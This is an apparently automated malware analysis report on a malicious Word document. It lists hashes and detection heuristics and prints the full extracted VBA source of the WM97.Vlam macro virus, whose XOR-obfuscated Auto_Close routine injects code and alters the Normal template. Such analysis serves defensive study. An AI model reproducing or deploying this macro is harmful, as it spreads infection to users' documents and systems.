Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b77bec0d78bbabcd…

MALICIOUS

Office (OLE)

37.0 KB Created: 2003-07-16 00:05:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 160edf2f9afbe2b00fe4434a0a32b969 SHA-1: e7ead2f29ead3b8e3df03598f63ec04e4396d841 SHA-256: b77bec0d78bbabcd74a69960947e790c6a2a954175754875e617619549142adf
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic auto-exec macro, specifically an Auto_Close macro. This macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. The presence of the 'autoclose' marker and the 'Shell' execution token strongly indicate malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Vlam-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Vlam-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3255 bytes
SHA-256: 79513895ada16d0be5ca766939c12527da7ddd1822e5f101143849450f811778
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub autoclose()
'WM97.VLAM
Dim lines(27) As String
lines(1) = "ĘëĄŔ÷÷ę÷Ą×ŕöđčŕĄËŕýń"
lines(2) = "ÖŕńĄëę÷Ą¸ĄËę÷čäéŃŕčőéäńŕ«ÓÇŐ÷ęďŕćń«ÓÇĆęčőęëŕëńö­´¬«ĆęáŕČęáđéŕ"
lines(3) = "ÖŕńĄáę楸ĄÄćńěóŕÁęćđčŕëń«ÓÇŐ÷ęďŕćń«ÓÇĆęčőęëŕëńö­´¬«ĆęáŕČęáđéŕ"
lines(4) = "ÖŕńĄńíöĄ¸ĄŃíěöÁęćđčŕëń«ÓÇŐ÷ęďŕćń«ÓÇĆęčőęëŕëńö­´¬«ĆęáŕČęáđéŕ"
lines(5) = "ęđ÷ćęáॸĄńíö«éěëŕö­´©Ąńíö«ćęđëńęăéěëŕö¬"
lines(6) = "ŇěńíĄëę÷"
lines(7) = "«áŕéŕńŕéěëŕöĄ´©Ąëę÷«ćęđëńęăéěëŕö"
lines(8) = "«ěëöŕ÷ńéěëŕöĄ´©Ąęđ÷ćęáŕ"
lines(9) = "ŔëáĄŇěńí"
lines(10) = "ŇěńíĄáęć"
lines(11) = "«áŕéŕńŕéěëŕöĄ´©Ąáęć«ćęđëńęăéěëŕö"
lines(12) = "«ěëöŕ÷ńéěëŕöĄ´©Ąęđ÷ćęáŕ"
lines(13) = "ŔëáĄŇěńí"
lines(14) = "ŇěńíĄĘőńěęëö"
lines(15) = "«Óě÷đöŐ÷ęńŕćńěę른Ą­×ë᥯Ąµ¬"
lines(16) = "«Ćęëăě÷čĆęëóŕ÷öěęëöĄ¸Ą­×ë᥯Ąµ¬"
lines(17) = "«ÖäóŕËę÷čäéŐ÷ęčőńĄ¸Ą­×ë᥯Ąµ¬"
lines(18) = "«Äőőéěćäńěęë«ÖíęňÓěöđäéÇäöěćŔáěńę÷Ą¸Ą­×ë᥯Ąµ¬"
lines(19) = "«Äőőéěćäńěęë«ĆęččäëáÇä÷ö­§Ńęęéö§¬«Ćęëń÷ęéö­§čäć÷ꧬ«Ŕëäçéŕ᥸Ą­×ë᥯Ąµ¬"
lines(20) = "«Äőőéěćäńěęë«ŔëäçéŕĆäëćŕéÎŕüĄ¸ĄňáĆäëćŕéÁěöäçéŕá"
lines(21) = "«Äőőéěćäńěęë«Öć÷ŕŕëĐőáäńěë⥸Ą­×ë᥯Ąµ¬"
lines(22) = "«ÖŕëáČäěéÄńńäćíĄ¸Ą´"
lines(23) = "ŔëáĄŇěńí"
lines(24) = "ĚăĄÁäü­Ëęň­¬¬Ą¸Ą·˛ĄÄëáĄÍęđ÷­Ëęň­¬¬ĄąĄ´µĄŃíŕë"
lines(25) = "쥸ĄĚëń­×ë᥯Ą´µ¬"
lines(26) = "ĆęččäëáÇä÷ö­ě¬«Ćęëń÷ęéö­ě¬«Ŕëäçéŕ᥸Ą­×ë᥯Ąµ¬"
lines(27) = "ŔëáĄĚă"
For y = 1 To 27
mycode = mycode & Crypt(lines(y)) & vbCr
Next
ThisDocument.VBProject.VBComponents(1).CodeModule.insertlines 48, mycode
Call runme
NormalTemplate.VBProject.VBComponents(1).CodeModule.deletelines 48, 28
ActiveDocument.VBProject.VBComponents(1).CodeModule.deletelines 48, 28
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Function Crypt(OldString)
For i = 1 To Len(OldString)
Crypt = Crypt & Chr(Asc(Mid(OldString, i, 1)) Xor 133)
Next
End Function

Private Sub runme()

End Sub

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